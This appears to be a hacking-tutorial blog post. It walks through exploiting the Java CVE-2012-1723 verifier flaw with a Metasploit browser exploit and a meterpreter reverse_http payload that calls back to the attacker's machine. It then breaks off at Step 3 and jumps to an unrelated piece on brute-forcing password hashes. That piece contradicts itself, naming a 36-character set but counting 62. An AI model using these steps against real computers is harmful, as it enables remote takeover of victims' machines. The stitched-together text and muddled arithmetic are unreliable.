Hacking Remote Pc by Exploiting Java Applet Field Bytecode Verifier Cache Remote Code Execution

CVE-2012-1723: This is a vulnerability in the HotSpot bytecode verifier where an invalid optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient type checking. A specially-crafted class file could possibly use this flaw to bypass Java sandbox restrictions, and load additional classes in order to perform malicious operations. The vulnerability was made public by Michael ‘mihi’ Schierl.

Requirement:

• Attacker Machine: Backtrack
• Victim Machine: Windows (install JRE un-patched version  )

Step1: Launch the Metasploit console
Open the Terminal in the Attacker Machine(Backtrack).
Type “msfupdate” , this will update the metasploit with latest modules.
Now type “msfconsole” to get interaction with the Metasploit framework.

Step 2:
Type “use exploit/multi/browser/java_verifier_field_access” and follow the below commands:

msf exploit(java_verifier_field_access) > set PAYLOAD java/meterpreter/reverse_http
msf exploit(java_verifier_field_access) > set LHOST [Backtrack IP ADDRESS]
msf exploit(java_verifier_field_access) > exploit

If you don’t know what i am talking about , please read my previous tutorial.

Step 3:
If you follow the above commands correctly, you will get the following result.

CRACKING HASH PASSWORDS.

What is Brute Force attack?
Brute force attack is one of the password cracking method. In this method we are not decrypting the passwords. Instead we are trying to crack the password by comparing different combination of characters (all possible keys) with hash code.
How ?
Let us assume the password length is 3. we have characters set(abcdefghijklmnopqrstuvwxyz0123456789) excluding the special characters.
The Number of Permutation takes to crack the password:
For first character :upper case letters(26 )+Lower Case Letters(26)+10 Numbers =62
Likewise for second and third character we have 62 different ways.
So the total permutation to produce different keys is =62*62*62=238328 ways.
If you include the special characters in character set,then the permutation to crack the password will increase.
The main problem with Brute force attack :
If the password length is small,then it will be cracked in small amount of time. This method will take too longer time to crack lengthy passwords. It can take several hours, days ,months ,years.
The time depending upon the two factors :
Password Length
Upper case and lower case letter combinations.
Conclusion:
For Hackers:
Hope you understand about brute force attack,also the drawback of this method. You can take advantage if the password is simple and small in length.
For Security needers
If you really want to secure your account from hackers, then use the Strong password. Don’t know how to create the strong passwords